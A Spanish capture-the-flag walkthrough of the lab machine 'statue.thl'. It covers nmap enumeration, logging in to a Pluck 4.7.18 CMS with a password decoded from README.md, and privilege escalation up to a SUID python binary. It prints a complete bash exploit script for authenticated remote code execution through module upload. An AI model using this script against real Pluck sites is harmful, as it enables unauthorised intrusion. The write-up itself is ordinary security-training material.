Empezamos como siempre por lo primero buscar que puertos estan abiertos en el host.
¡Nuevo! Combinaciones de teclas … Las combinaciones de teclas de Drive se han actualizado para que puedas navegar escribiendo las primeras letras
# Nmap 7.94SVN scan initiated Sat Aug 31 08:44:10 2024 as: nmap -sCV -p80 -oN target.txt 172.16.241.190
Nmap scan report for statue.thl (172.16.241.190)
Host is up (0.00054s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.58
|_http-server-header: Apache/2.4.58 (Ubuntu)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-generator: pluck 4.7.18
| http-title: rodgar - rodgar
|_Requested resource was http://statue.thl/?file=rodgar
| http-robots.txt: 2 disallowed entries
|_/data/ /docs/
Service Info: Host: 127.0.1.1
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Aug 31 08:44:17 2024 -- 1 IP address (1 host up) scanned in 6.71 seconds
Observamos la version y servicio del puerto 80, donde observamos que tenemos un dominio, lo añadiremos al /etc/hosts.
Si vamos al servicio web observamos algo simple, y en la parte de abajo tenemos un enlace al administrador.
Nos redirige a un CMS llamado pluck.
Si fuzzeamos la web tenemos varios directorios los cuales observar y ver que podemos sacar de ellos.
Usualmente uso gobuster para enumerar extenciones ya que con wfuzz es un dolor de huevo y bueno a nivel de archivos tenemos algunos mas ademas de los que ya enumeramos con wfuzz.
Si le lanzamos un curl al README.md que normalmente trae info del CMS o lo que corresponda, pues este trae una cadena en base64. Si lo decodificamos obtenemos una palabra.
La usamos como contraseña y estamos dentro del CMS, observamos la version y vamos a buscar exploit o vulnerabilidades haber si existen.
En exploitDB encontramos algo para esta version.
#!/bin/bash
# URLs del sitio web
login_url="http://localhost/pluck/login.php"
upload_url="http://localhost/pluck/admin.php?action=installmodule"
rce_url="http://localhost/pluck/data/modules/mirabbas/miri.php"
# Datos necesarios para el inicio de sesión
login_payload="cont1=admin&bogus=&submit=Log+in"
# Solicitar al usuario la ruta del archivo ZIP que se va a cargar
echo "ZIP file path: "
read file_path
# **Bloque 1: Iniciar sesión**
echo "Iniciando sesión..."
# Enviamos una solicitud POST al URL de inicio de sesión con los datos especificados
login_response=$(curl -s -w "%{http_code}" -o /dev/null -X POST "$login_url" -d "$login_payload")
# Verificamos el código de respuesta HTTP
if [ "$login_response" -eq 200 ]; then
echo "Inicio de sesión exitoso."
# **Bloque 2: Subir el archivo ZIP**
echo "Subiendo archivo ZIP..."
# Enviamos el archivo ZIP al URL de carga usando una solicitud POST
upload_response=$(curl -s -w "%{http_code}" -o /dev/null -X POST "$upload_url" -F "sendfile=@$file_path;type=application/zip" -F "submit=Upload" -H "Referer: $login_url")
# Verificamos el código de respuesta HTTP
if [ "$upload_response" -eq 200 ]; then
echo "Archivo ZIP cargado con éxito."
# **Bloque 3: Ejecutar el código remoto**
echo "Ejecutando código remoto..."
# Hacemos una solicitud GET al URL de ejecución del código remoto
rce_response=$(curl -s "$rce_url")
echo "$rce_response"
else
echo "Error al cargar el archivo ZIP. Código de respuesta: $upload_response"
fi
else
echo "Error de inicio de sesión. Código de respuesta: $login_response"
fi
Resumen sube un archivo ZIP al directorio data.
Vamos a hacerlo manual.
Lo subimos a la web.
Buscamos el archivo que se subio segun el script en /data/modulos.nombre, Observamos que tenemos RCE.
Ya dentro de la maquina encontramos un directorio llamado Charles con un archivo llamado pista, tenemos una pass y un key.
Si la Key la decodificamos a texto plano tenemos una palabra.
Si vamos a google y buscamos el nombre del señor Charles, encotramos que a el se le atribuye la tecnica de cifrado Playfair.
Vamos a google y buscamos Playfair online.
Uno pegamos la Pass del archivo pista que sera la password cifrada.
Dos pegamos la palabra que estaba codificada en base64.
Tres le damos Decifrar.
Y listo tenemos una palbra incomprensible.
Si hacemos un cat del passwd, existe un user charles.
Migramos al usuario charles.
Pivotamos del usuario charles ah juan.
Si buscamos permisos SUID y SGID para sus archivos, entontramos que python3.12 tiene permisos SUID.